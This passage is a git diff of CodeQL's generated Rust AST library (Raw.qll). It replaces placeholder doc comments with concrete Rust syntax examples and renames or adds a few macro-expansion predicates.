following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll index 0869ec4de5ab..c5344d351d4a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll @@ -86,11 +86,6 @@ module Raw { */ string getVersion() { crate_versions(this, result) } - /** - * Gets the module of this crate, if it exists. - */ - Module getModule() { crate_modules(this, result) } - /** * Gets the `index`th cfg option of this crate (0-based). */ @@ -120,9 +115,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Abi. For example: + * An ABI specification for an extern function or block. + * + * For example: * ```rust - * todo!() + * extern "C" fn foo() {} + * // ^^^ * ``` */ class Abi extends @abi, AstNode { @@ -160,9 +158,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ArgList. For example: + * A list of arguments in a function or method call. + * + * For example: * ```rust - * todo!() + * foo(1, 2, 3); + * // ^^^^^^^^^ * ``` */ class ArgList extends @arg_list, AstNode { @@ -176,6 +177,14 @@ module Raw { /** * INTERNAL: Do not use. + * An inline assembly direction specifier. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + * // ^^^ ^^ + * ``` */ class AsmDirSpec extends @asm_dir_spec, AstNode { override string toString() { result = "AsmDirSpec" } @@ -188,6 +197,14 @@ module Raw { /** * INTERNAL: Do not use. + * An operand expression in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` */ class AsmOperandExpr extends @asm_operand_expr, AstNode { override string toString() { result = "AsmOperandExpr" } @@ -205,6 +222,14 @@ module Raw { /** * INTERNAL: Do not use. + * An option in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` */ class AsmOption extends @asm_option, AstNode { override string toString() { result = "AsmOption" } @@ -222,6 +247,14 @@ module Raw { /** * INTERNAL: Do not use. + * A register specification in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + * // ^^^ ^^^ + * ``` */ class AsmRegSpec extends @asm_reg_spec, AstNode { override string toString() { result = "AsmRegSpec" } @@ -234,16 +267,19 @@ module Raw { /** * INTERNAL: Do not use. - * A AssocItem. For example: + * An associated item in a `Trait` or `Impl`. + * + * For example: * ```rust - * todo!() + * trait T {fn foo(&self);} + * // ^^^^^^^^^^^^^ * ``` */ class AssocItem extends @assoc_item, AstNode { } /** * INTERNAL: Do not use. - * A list of `AssocItem` elements, as appearing for example in a `Trait`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. */ class AssocItemList extends @assoc_item_list, AstNode { override string toString() { result = "AssocItemList" } @@ -261,9 +297,13 @@ module Raw { /** * INTERNAL: Do not use. - * A Attr. For example: + * An attribute applied to an item. + * + * For example: * ```rust - * todo!() + * #[derive(Debug)] + * //^^^^^^^^^^^^^ + * struct S; * ``` */ class Attr extends @attr, AstNode { @@ -293,9 +333,17 @@ module Raw { /** * INTERNAL: Do not use. - * A ClosureBinder. For example: + * A closure binder, specifying lifetime or type parameters for a closure. + * + * For example: * ```rust - * todo!() + * let print_any = for |x: T| { + * // ^^^^^^^^^^^^^^^^^^^^^^^ + * println!("{:?}", x); + * }; + * + * print_any(42); + * print_any("hello"); * ``` */ class ClosureBinder extends @closure_binder, AstNode { @@ -315,18 +363,28 @@ module Raw { /** * INTERNAL: Do not use. - * A ExternItem. For example: + * An item inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ class ExternItem extends @extern_item, AstNode { } /** * INTERNAL: Do not use. - * A ExternItemList. For example: + * A list of items inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ class ExternItemList extends @extern_item_list, AstNode { @@ -345,9 +403,14 @@ module Raw { /** * INTERNAL: Do not use. - * A field of a variant. For example: + * A list of fields in a struct or enum variant. + * + * For example: * ```rust - * todo!() + * struct S {x: i32, y: i32} + * // ^^^^^^^^^^^^^^^^ + * enum E {A(i32, i32)} + * // ^^^^^^^^^^^^^ * ``` */ class FieldList extends @field_list, AstNode { } @@ -375,9 +438,12 @@ module Raw { /** * INTERNAL: Do not use. - * A GenericArg. For example: + * A generic argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^^^^^^^^^ * ``` */ class GenericArg extends @generic_arg, AstNode { } @@ -400,9 +466,12 @@ module Raw { /** * INTERNAL: Do not use. - * A GenericParam. For example: + * A generic parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) {} + * // ^ ^ * ``` */ class GenericParam extends @generic_param, AstNode { } @@ -430,9 +499,14 @@ module Raw { /** * INTERNAL: Do not use. - * A ItemList. For example: + * A list of items in a module or block. + * + * For example: * ```rust - * todo!() + * mod m { + * fn foo() {} + * struct S; + * } * ``` */ class ItemList extends @item_list, AstNode { @@ -470,9 +544,14 @@ module Raw { /** * INTERNAL: Do not use. - * A LetElse. For example: + * An else block in a let-else statement. + * + * For example: * ```rust - * todo!() + * let Some(x) = opt else { + * return; + * }; + * // ^^^^^^ * ``` */ class LetElse extends @let_else, AstNode { @@ -486,10 +565,18 @@ module Raw { /** * INTERNAL: Do not use. - * A sequence of items generated by a `MacroCall`. For example: + * A sequence of items generated by a macro. For example: * ```rust * mod foo{ * include!("common_definitions.rs"); + * + * #[an_attribute_macro] + * fn foo() { + * println!("Hello, world!"); + * } + * + * #[derive(Debug)] + * struct Bar; * } * ``` */ @@ -544,9 +631,16 @@ module Raw { /** * INTERNAL: Do not use. - * A MatchArmList. For example: + * A list of arms in a match expression. + * + * For example: * ```rust - * todo!() + * match x { + * 1 => "one", + * 2 => "two", + * _ => "other", + * } + * // ^^^^^^^^^^^ * ``` */ class MatchArmList extends @match_arm_list, AstNode { @@ -565,9 +659,15 @@ module Raw { /** * INTERNAL: Do not use. - * A MatchGuard. For example: + * A guard condition in a match arm. + * + * For example: * ```rust - * todo!() + * match x { + * y if y > 0 => "positive", + * // ^^^^^^^ + * _ => "non-positive", + * } * ``` */ class MatchGuard extends @match_guard, AstNode { @@ -581,9 +681,17 @@ module Raw { /** * INTERNAL: Do not use. - * A Meta. For example: - * ```rust - * todo!() + * A meta item in an attribute. + * + * For example: + * ```rust + * #[unsafe(lint::name = "reason_for_bypass")] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * fn foo() { + * // ... + * } * ``` */ class Meta extends @meta, AstNode { @@ -612,9 +720,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Name. For example: + * An identifier name. + * + * For example: * ```rust - * todo!() + * let foo = 1; + * // ^^^ * ``` */ class Name extends @name, AstNode { @@ -644,9 +755,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ParamList. For example: + * A list of parameters in a function, method, or closure declaration. + * + * For example: * ```rust - * todo!() + * fn foo(x: i32, y: i32) {} + * // ^^^^^^^^^^^^^ * ``` */ class ParamList extends @param_list, AstNode { @@ -665,6 +779,18 @@ module Raw { /** * INTERNAL: Do not use. + * A parenthesized argument list as used in function traits. + * + * For example: + * ```rust + * fn call_with_42(f: F) -> i32 + * where + * F: Fn(i32, String) -> i32, + * // ^^^^^^^^^^^ + * { + * f(42, "Don't panic".to_string()) + * } + * ``` */ class ParenthesizedArgList extends @parenthesized_arg_list, AstNode { override string toString() { result = "ParenthesizedArgList" } @@ -706,6 +832,12 @@ module Raw { /** * INTERNAL: Do not use. * A path segment, which is one part of a whole path. + * For example: + * - `HashMap` + * - `HashMap` + * - `Fn(i32) -> i32` + * - `widgets(..)` + * - `` */ class PathSegment extends @path_segment, AstNode { override string toString() { result = "PathSegment" } @@ -750,9 +882,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Rename. For example: + * A rename in a use declaration. + * + * For example: * ```rust - * todo!() + * use foo as bar; + * // ^^^^^^ * ``` */ class Rename extends @rename, AstNode { @@ -782,9 +917,12 @@ module Raw { /** * INTERNAL: Do not use. - * A RetTypeRepr. For example: + * A return type in a function signature. + * + * For example: * ```rust - * todo!() + * fn foo() -> i32 {} + * // ^^^^^^ * ``` */ class RetTypeRepr extends @ret_type_repr, AstNode { @@ -798,9 +936,22 @@ module Raw { /** * INTERNAL: Do not use. - * A ReturnTypeSyntax. For example: + * A return type notation `(..)` to reference or bound the type returned by a trait method + * + * For example: * ```rust - * todo!() + * struct ReverseWidgets> { + * factory: F, + * } + * + * impl Factory for ReverseWidgets + * where + * F: Factory, + * { + * fn widgets(&self) -> impl Iterator { + * self.factory.widgets().rev() + * } + * } * ``` */ class ReturnTypeSyntax extends @return_type_syntax, AstNode { @@ -809,9 +960,12 @@ module Raw { /** * INTERNAL: Do not use. - * A SourceFile. For example: + * A source file. + * + * For example: * ```rust - * todo!() + * // main.rs + * fn main() {} * ``` */ class SourceFile extends @source_file, AstNode { @@ -836,9 +990,15 @@ module Raw { /** * INTERNAL: Do not use. - * A StmtList. For example: + * A list of statements in a block. + * + * For example: * ```rust - * todo!() + * { + * let x = 1; + * let y = 2; + * } + * // ^^^^^^^^^ * ``` */ class StmtList extends @stmt_list, AstNode { @@ -888,9 +1048,12 @@ module Raw { /** * INTERNAL: Do not use. - * A StructExprFieldList. For example: + * A list of fields in a struct expression. + * + * For example: * ```rust - * todo!() + * Foo { a: 1, b: 2 } + * // ^^^^^^^^^^^ * ``` */ class StructExprFieldList extends @struct_expr_field_list, AstNode { @@ -914,9 +1077,12 @@ module Raw { /** * INTERNAL: Do not use. - * A StructField. For example: + * A field in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32 } + * // ^^^^^^^ * ``` */ class StructField extends @struct_field, AstNode { @@ -981,9 +1147,12 @@ module Raw { /** * INTERNAL: Do not use. - * A StructPatFieldList. For example: + * A list of fields in a struct pattern. + * + * For example: * ```rust - * todo!() + * let Foo { a, b } = foo; + * // ^^^^^ * ``` */ class StructPatFieldList extends @struct_pat_field_list, AstNode { @@ -1008,9 +1177,16 @@ module Raw { /** * INTERNAL: Do not use. - * A TokenTree. For example: + * A token tree in a macro definition or invocation. + * + * For example: * ```rust - * todo!() + * println!("{} {}!", "Hello", "world"); + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ``` + * ```rust + * macro_rules! foo { ($x:expr) => { $x + 1 }; } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ class TokenTree extends @token_tree, AstNode { @@ -1019,9 +1195,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TupleField. For example: + * A field in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^ ^^^^^^ * ``` */ class TupleField extends @tuple_field, AstNode { @@ -1045,9 +1224,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TypeBound. For example: + * A type bound in a trait or generic parameter. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^ * ``` */ class TypeBound extends @type_bound, AstNode { @@ -1081,9 +1263,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TypeBoundList. For example: + * A list of type bounds. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^^^^^^^^^ * ``` */ class TypeBoundList extends @type_bound_list, AstNode { @@ -1113,6 +1298,13 @@ module Raw { /** * INTERNAL: Do not use. + * A use<..> bound to control which generic parameters are captured by an impl Trait return type. + * + * For example: + * ```rust + * pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + * // ^^^^^^^^ + * ``` */ class UseBoundGenericArgs extends @use_bound_generic_args, AstNode { override string toString() { result = "UseBoundGenericArgs" } @@ -1127,7 +1319,7 @@ module Raw { /** * INTERNAL: Do not use. - * A UseTree. For example: + * A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; @@ -1161,9 +1353,12 @@ module Raw { /** * INTERNAL: Do not use. - * A UseTreeList. For example: + * A list of use trees in a use declaration. + * + * For example: * ```rust - * todo!() + * use std::{fs, io}; + * // ^^^^^^^^ * ``` */ class UseTreeList extends @use_tree_list, AstNode { @@ -1182,9 +1377,12 @@ module Raw { /** * INTERNAL: Do not use. - * A VariantList. For example: + * A list of variants in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B, C } + * // ^^^^^^^^^^^ * ``` */ class VariantList extends @variant_list, AstNode { @@ -1198,9 +1396,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Visibility. For example: + * A visibility modifier. + * + * For example: * ```rust - * todo!() + * pub struct S; + * //^^^ * ``` */ class Visibility extends @visibility, AstNode { @@ -1214,9 +1415,12 @@ module Raw { /** * INTERNAL: Do not use. - * A WhereClause. For example: + * A where clause in a generic declaration. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) where T: Debug {} + * // ^^^^^^^^^^^^^^ * ``` */ class WhereClause extends @where_clause, AstNode { @@ -1230,9 +1434,12 @@ module Raw { /** * INTERNAL: Do not use. - * A WherePred. For example: + * A predicate in a where clause. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) where T: Debug, U: Clone {} + * // ^^^^^^^^ ^^^^^^^^ * ``` */ class WherePred extends @where_pred, AstNode { @@ -1283,9 +1490,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ArrayTypeRepr. For example: + * An array type representation. + * + * For example: * ```rust - * todo!() + * let arr: [i32; 4]; + * // ^^^^^^^^ * ``` */ class ArrayTypeRepr extends @array_type_repr, TypeRepr { @@ -1304,6 +1514,14 @@ module Raw { /** * INTERNAL: Do not use. + * A clobbered ABI in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", clobber_abi("C")); + * // ^^^^^^^^^^^^^^^^ + * ``` */ class AsmClobberAbi extends @asm_clobber_abi, AsmPiece { override string toString() { result = "AsmClobberAbi" } @@ -1311,6 +1529,14 @@ module Raw { /** * INTERNAL: Do not use. + * A constant operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov eax, {const}", const 42); + * // ^^^^^^^ + * ``` */ class AsmConst extends @asm_const, AsmOperand { override string toString() { result = "AsmConst" } @@ -1331,7 +1557,8 @@ module Raw { * An inline assembly expression. For example: * ```rust * unsafe { - * builtin # asm(_); + * #[inline(always)] + * builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); * } * ``` */ @@ -1356,6 +1583,17 @@ module Raw { /** * INTERNAL: Do not use. + * A label in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!( + * "jmp {}", + * label { println!("Jumped from asm!"); } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ); + * ``` */ class AsmLabel extends @asm_label, AsmOperand { override string toString() { result = "AsmLabel" } @@ -1368,6 +1606,14 @@ module Raw { /** * INTERNAL: Do not use. + * A named operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + * // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ + * ``` */ class AsmOperandNamed extends @asm_operand_named, AsmPiece { override string toString() { result = "AsmOperandNamed" } @@ -1385,6 +1631,14 @@ module Raw { /** * INTERNAL: Do not use. + * A list of options in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` */ class AsmOptionsList extends @asm_options_list, AsmPiece { override string toString() { result = "AsmOptionsList" } @@ -1397,6 +1651,14 @@ module Raw { /** * INTERNAL: Do not use. + * A register operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` */ class AsmRegOperand extends @asm_reg_operand, AsmOperand { override string toString() { result = "AsmRegOperand" } @@ -1419,6 +1681,14 @@ module Raw { /** * INTERNAL: Do not use. + * A symbol operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("call {sym}", sym = sym my_function); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` */ class AsmSym extends @asm_sym, AsmOperand { override string toString() { result = "AsmSym" } @@ -1431,9 +1701,17 @@ module Raw { /** * INTERNAL: Do not use. - * A AssocTypeArg. For example: + * An associated type argument in a path. + * + * For example: * ```rust - * todo!() + * fn process_cloneable(iter: T) + * where + * T: Iterator + * // ^^^^^^^^^^^ + * { + * // ... + * } * ``` */ class AssocTypeArg extends @assoc_type_arg, GenericArg { @@ -1753,9 +2031,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ConstArg. For example: + * A constant argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo::<3> + * // ^ * ``` */ class ConstArg extends @const_arg, GenericArg { @@ -1793,9 +2074,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ConstParam. For example: + * A constant parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * struct Foo ; + * // ^^^^^^^^^^^^^^ * ``` */ class ConstParam extends @const_param, GenericParam { @@ -1861,9 +2145,12 @@ module Raw { /** * INTERNAL: Do not use. - * A DynTraitTypeRepr. For example: + * A dynamic trait object type. + * + * For example: * ```rust - * todo!() + * let x: &dyn Debug; + * // ^^^^^^^^^ * ``` */ class DynTraitTypeRepr extends @dyn_trait_type_repr, TypeRepr { @@ -1921,9 +2208,12 @@ module Raw { /** * INTERNAL: Do not use. - * A FnPtrTypeRepr. For example: + * A function pointer type. + * + * For example: * ```rust - * todo!() + * let f: fn(i32) -> i32; + * // ^^^^^^^^^^^^^^ * ``` */ class FnPtrTypeRepr extends @fn_ptr_type_repr, TypeRepr { @@ -1962,9 +2252,17 @@ module Raw { /** * INTERNAL: Do not use. - * A ForTypeRepr. For example: + * A higher-ranked trait bound. + * + * For example: * ```rust - * todo!() + * fn foo(value: T) + * where + * T: for<'a> Fn(&'a str) -> &'a str + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * { + * // ... + * } * ``` */ class ForTypeRepr extends @for_type_repr, TypeRepr { @@ -2098,9 +2396,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ImplTraitTypeRepr. For example: + * An `impl Trait` type. + * + * For example: * ```rust - * todo!() + * fn foo() -> impl Iterator { 0..10 } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ class ImplTraitTypeRepr extends @impl_trait_type_repr, TypeRepr { @@ -2141,9 +2442,12 @@ module Raw { /** * INTERNAL: Do not use. - * A InferTypeRepr. For example: + * An inferred type (`_`). + * + * For example: * ```rust - * todo!() + * let x: _ = 42; + * // ^ * ``` */ class InferTypeRepr extends @infer_type_repr, TypeRepr { @@ -2152,12 +2456,21 @@ module Raw { /** * INTERNAL: Do not use. - * A Item. For example: + * An item such as a function, struct, enum, etc. + * + * For example: * ```rust - * todo!() + * fn foo() {} + * struct S; + * enum E {} * ``` */ - class Item extends @item, Stmt, Addressable { } + class Item extends @item, Stmt, Addressable { + /** + * Gets the attribute macro expansion of this item, if it exists. + */ + MacroItems getAttributeMacroExpansion() { item_attribute_macro_expansions(this, result) } + } /** * INTERNAL: Do not use. @@ -2243,9 +2556,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Lifetime. For example: + * A lifetime annotation. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ ^^ * ``` */ class Lifetime extends @lifetime, UseBoundGenericArg { @@ -2259,9 +2575,12 @@ module Raw { /** * INTERNAL: Do not use. - * A LifetimeArg. For example: + * A lifetime argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * let text: Text<'a>; + * // ^^ * ``` */ class LifetimeArg extends @lifetime_arg, GenericArg { @@ -2275,9 +2594,12 @@ module Raw { /** * INTERNAL: Do not use. - * A LifetimeParam. For example: + * A lifetime parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ * ``` */ class LifetimeParam extends @lifetime_param, GenericParam { @@ -2371,9 +2693,11 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroExpr. For example: + * A macro expression, representing the invocation of a macro that produces an expression. + * + * For example: * ```rust - * todo!() + * let y = vec![1, 2, 3]; * ``` */ class MacroExpr extends @macro_expr, Expr { @@ -2387,9 +2711,20 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroPat. For example: + * A macro pattern, representing the invocation of a macro that produces a pattern. + * + * For example: * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * Ok(_) + * }; + * } + * match x { + * my_macro!() => "matched", + * // ^^^^^^^^^^^ + * _ => "not matched", + * } * ``` */ class MacroPat extends @macro_pat, Pat { @@ -2403,9 +2738,15 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroTypeRepr. For example: + * A type produced by a macro. + * + * For example: * ```rust - * todo!() + * macro_rules! macro_type { + * () => { i32 }; + * } + * type T = macro_type!(); + * // ^^^^^^^^^^^^^ * ``` */ class MacroTypeRepr extends @macro_type_repr, TypeRepr { @@ -2454,9 +2795,12 @@ module Raw { /** * INTERNAL: Do not use. - * A NameRef. For example: + * A reference to a name. + * + * For example: * ```rust - * todo!() + * foo(); + * //^^^ * ``` */ class NameRef extends @name_ref, UseBoundGenericArg { @@ -2470,9 +2814,12 @@ module Raw { /** * INTERNAL: Do not use. - * A NeverTypeRepr. For example: + * The never type `!`. + * + * For example: * ```rust - * todo!() + * fn foo() -> ! { panic!() } + * // ^ * ``` */ class NeverTypeRepr extends @never_type_repr, TypeRepr { @@ -2543,9 +2890,11 @@ module Raw { /** * INTERNAL: Do not use. - * A ParenExpr. For example: + * A parenthesized expression. + * + * For example: * ```rust - * todo!() + * (x + y) * ``` */ class ParenExpr extends @paren_expr, Expr { @@ -2564,9 +2913,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ParenPat. For example: + * A parenthesized pattern. + * + * For example: * ```rust - * todo!() + * let (x) = 1; + * // ^^^ * ``` */ class ParenPat extends @paren_pat, Pat { @@ -2580,9 +2932,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ParenTypeRepr. For example: + * A parenthesized type. + * + * For example: * ```rust - * todo!() + * let x: (i32); + * // ^^^^^ * ``` */ class ParenTypeRepr extends @paren_type_repr, TypeRepr { @@ -2613,7 +2968,7 @@ module Raw { /** * INTERNAL: Do not use. - * A type referring to a path. For example: + * A path referring to a type. For example: * ```rust * type X = std::collections::HashMap; * type Y = X::Item; @@ -2658,9 +3013,13 @@ module Raw { /** * INTERNAL: Do not use. - * A PtrTypeRepr. For example: + * A pointer type. + * + * For example: * ```rust - * todo!() + * let p: *const i32; + * let q: *mut i32; + * // ^^^^^^^^^ * ``` */ class PtrTypeRepr extends @ptr_type_repr, TypeRepr { @@ -2813,9 +3172,13 @@ module Raw { /** * INTERNAL: Do not use. - * A RefTypeRepr. For example: + * A reference type. + * + * For example: * ```rust - * todo!() + * let r: &i32; + * let m: &mut i32; + * // ^^^^^^^^ * ``` */ class RefTypeRepr extends @ref_type_repr, TypeRepr { @@ -2839,9 +3202,12 @@ module Raw { /** * INTERNAL: Do not use. - * A RestPat. For example: + * A rest pattern (`..`) in a tuple, slice, or struct pattern. + * + * For example: * ```rust - * todo!() + * let (a, .., z) = (1, 2, 3); + * // ^^ * ``` */ class RestPat extends @rest_pat, Pat { @@ -2941,9 +3307,12 @@ module Raw { /** * INTERNAL: Do not use. - * A SliceTypeRepr. For example: + * A slice type. + * + * For example: * ```rust - * todo!() + * let s: &[i32]; + * // ^^^^^ * ``` */ class SliceTypeRepr extends @slice_type_repr, TypeRepr { @@ -2957,9 +3326,12 @@ module Raw { /** * INTERNAL: Do not use. - * A field list of a struct expression. For example: + * A list of fields in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32, y: i32 } + * // ^^^^^^^^^^^^^^^ * ``` */ class StructFieldList extends @struct_field_list, FieldList { @@ -2973,9 +3345,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TryExpr. For example: + * A try expression using the `?` operator. + * + * For example: * ```rust - * todo!() + * let x = foo()?; + * // ^ * ``` */ class TryExpr extends @try_expr, Expr { @@ -3016,9 +3391,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TupleFieldList. For example: + * A list of fields in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^^^^^^^^^^^ * ``` */ class TupleFieldList extends @tuple_field_list, FieldList { @@ -3049,9 +3427,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TupleTypeRepr. For example: + * A tuple type. + * + * For example: * ```rust - * todo!() + * let t: (i32, String); + * // ^^^^^^^^^^^^^ * ``` */ class TupleTypeRepr extends @tuple_type_repr, TypeRepr { @@ -3065,9 +3446,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TypeArg. For example: + * A type argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^ * ``` */ class TypeArg extends @type_arg, GenericArg { @@ -3081,9 +3465,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TypeParam. For example: + * A type parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^ * ``` */ class TypeParam extends @type_param, GenericParam { @@ -3128,9 +3515,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Variant. For example: + * A variant in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B(i32), C { x: i32 } } + * // ^ ^^^^^^ ^^^^^^^^^^^^ * ``` */ class Variant extends @variant, VariantDef, Addressable { @@ -3300,9 +3690,11 @@ module Raw { /** * INTERNAL: Do not use. - * A Const. For example: + * A constant item declaration. + * + * For example: * ```rust - * todo!() + * const X: i32 = 42; * ``` */ class Const extends @const, AssocItem, Item { @@ -3346,9 +3738,11 @@ module Raw { /** * INTERNAL: Do not use. - * A Enum. For example: + * An enum declaration. + * + * For example: * ```rust - * todo!() + * enum E {A, B(i32), C {x: i32}} * ``` */ class Enum extends @enum, Item { @@ -3387,9 +3781,13 @@ module Raw { /** * INTERNAL: Do not use. - * A ExternBlock. For example: + * An extern block containing foreign function declarations. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * } * ``` */ class ExternBlock extends @extern_block, Item { @@ -3418,9 +3816,11 @@ module Raw { /** * INTERNAL: Do not use. - * A ExternCrate. For example: + * An extern crate declaration. + * + * For example: * ```rust - * todo!() + * extern crate serde; * ``` */ class ExternCrate extends @extern_crate, Item { @@ -3526,9 +3926,13 @@ module Raw { /** * INTERNAL: Do not use. - * A Impl. For example: + * An `impl`` block. + * + * For example: * ```rust - * todo!() + * impl MyTrait for MyType { + * fn foo(&self) {} + * } * ``` */ class Impl extends @impl, Item { @@ -3598,9 +4002,11 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroCall. For example: + * A macro invocation. + * + * For example: * ```rust - * todo!() + * println!("Hello, world!"); * ``` */ class MacroCall extends @macro_call, AssocItem, ExternItem, Item { @@ -3622,16 +4028,20 @@ module Raw { TokenTree getTokenTree() { macro_call_token_trees(this, result) } /** - * Gets the expanded of this macro call, if it exists. + * Gets the macro call expansion of this macro call, if it exists. */ - AstNode getExpanded() { macro_call_expandeds(this, result) } + AstNode getMacroCallExpansion() { macro_call_macro_call_expansions(this, result) } } /** * INTERNAL: Do not use. - * A MacroDef. For example: + * A Rust 2.0 style declarative macro definition. + * + * For example: * ```rust - * todo!() + * pub macro vec_of_two($element:expr) { + * vec![$element, $element] + * } * ``` */ class MacroDef extends @macro_def, Item { @@ -3665,9 +4075,13 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroRules. For example: + * A macro definition using the `macro_rules!` syntax. * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` */ class MacroRules extends @macro_rules, Item { @@ -3792,9 +4206,11 @@ module Raw { /** * INTERNAL: Do not use. - * A Static. For example: + * A static item declaration. + * + * For example: * ```rust - * todo!() + * static X: i32 = 42; * ``` */ class Static extends @static, ExternItem, Item { @@ -3845,7 +4261,10 @@ module Raw { * INTERNAL: Do not use. * A Struct. For example: * ```rust - * todo!() + * struct Point { + * x: i32, + * y: i32, + * } * ``` */ class Struct extends @struct, Item, VariantDef { @@ -3986,9 +4405,11 @@ module Raw { /** * INTERNAL: Do not use. - * A TraitAlias. For example: + * A trait alias. + * + * For example: * ```rust - * todo!() + * trait Foo = Bar + Baz; * ``` */ class TraitAlias extends @trait_alias, Item { @@ -4103,9 +4524,11 @@ module Raw { /** * INTERNAL: Do not use. - * A Union. For example: + * A union declaration. + * + * For example: * ```rust - * todo!() + * union U { f1: u32, f2: f32 } * ``` */ class Union extends @union, Item, VariantDef { @@ -4144,9 +4567,9 @@ module Raw { /** * INTERNAL: Do not use. - * A Use. For example: + * A `use` statement. For example: * ```rust - * todo!() + * use std::collections::HashMap; * ``` */ class Use extends @use, Item { @@ -4170,9 +4593,13 @@ module Raw { /** * INTERNAL: Do not use. - * A ForExpr. For example: + * A for loop expression. + * + * For example: * ```rust - * todo!() + * for x in 0..10 { + * println!("{}", x); + * } * ``` */ class ForExpr extends @for_expr, LoopingExpr { @@ -4230,9 +4657,13 @@ module Raw { /** * INTERNAL: Do not use. - * A WhileExpr. For example: + * A while loop expression. + * + * For example: * ```rust - * todo!() + * 